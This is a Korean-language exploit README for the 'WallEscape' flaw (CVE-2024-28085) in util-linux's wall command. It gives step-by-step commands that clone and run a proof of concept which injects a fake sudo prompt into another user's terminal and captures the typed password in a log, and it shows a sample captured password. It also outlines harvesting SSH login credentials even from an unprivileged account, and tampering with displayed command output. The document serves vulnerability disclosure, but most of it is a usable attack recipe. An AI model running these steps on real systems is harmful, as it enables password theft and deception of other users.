
util-linux의 WallEscape 취약점
util-linux wall 명령어는 명령줄 인자의 이스케이프 시퀀스를 필터링하지 않습니다. 취약한 코드는 cdd3cc7fa4 (2013) 커밋에서 도입되었습니다. 이후 모든 버전이 취약합니다. 전체 보고서는 여기에서 확인할 수 있습니다. 저는 이 버그를 "WallEscape"라고 명명했습니다.
이 익스플로잇 코드는 기본 구성의 Ubuntu 22.04에서 비밀번호를 유출하는 데 성공했습니다.
throw.c에서 배경색과 사용자 이름이 적절한 값으로 설정되어 있는지 확인하세요.
공격 설정
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
저는 출력이 많지 않고 짧게 실행되는 sudo systemctl start apache2를 사용했습니다. 익스플로잇이 실행된 후에는 spy를 종료해야 합니다: pkill spy.
그런 다음 다른 터미널에서
sudo su
sudo systemctl start apache2
시스템에 따라, 그리고 로컬로 접근하는지 SSH를 통해서인지에 따라 피해자가 su를 호출하지 않아도 될 수 있습니다.
이렇게 하면 피해자 터미널에 가짜 sudo 프롬프트가 나타납니다. 많은 시스템에서 찾을 수 없는 명령어를 유출하기 때문에, 피해자의 비밀번호가 proc.log에 나타날 수 있습니다.
proc.log 예시
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
어떤 시나리오에서 이 공격이 다른 사용자를 공격하는 데 사용될 수 있는지 오해하는 사람들이 있습니다. 우리는 sudo를 공격할 필요가 없으며, 사용자가 비밀번호를 입력하는 모든 곳을 공격할 수 있습니다. 제 시스템에서는 사용자가 OpenSSH로 로그인한 후 /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 명령어가 실행됩니다.
Openssh 사용자의 비밀번호를 유출하려면 다음을 실행한다고 상상해 보세요:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
그런 다음 사용자가 SSH를 통해 올바르게 로그인한 후 "비밀번호가 올바르지 않음" 메시지를 보낼 수 있습니다. sudo는 제가 데모로 선택한 명령어일 뿐이며, 가능한 타깃은 많습니다. 공격자가 자격 증명 수집기를 설정하여 SSH로 로그인하는 모든 사용자의 자격 증명을 수집하는 시나리오를 상상하는 것은 어렵지 않습니다. 이는 www-data와 같은 가장 권한이 없는 사용자에게도 가능합니다.
이 취약점은 또한 공격자에게 모든 명령어의 출력을 변경할 수 있는 능력을 제공합니다. cat ~/.ssh/id_rsa.pub" 명령어를 기다린다고 상상해 보세요. 공격자는 사용자가 공개 키로 복사하는 내용을 변경할 수 있습니다. 이러한 공격 방식에서는 찾을 수 없는 명령어에 대한 유출 프리미티브가 필요하지 않습니다.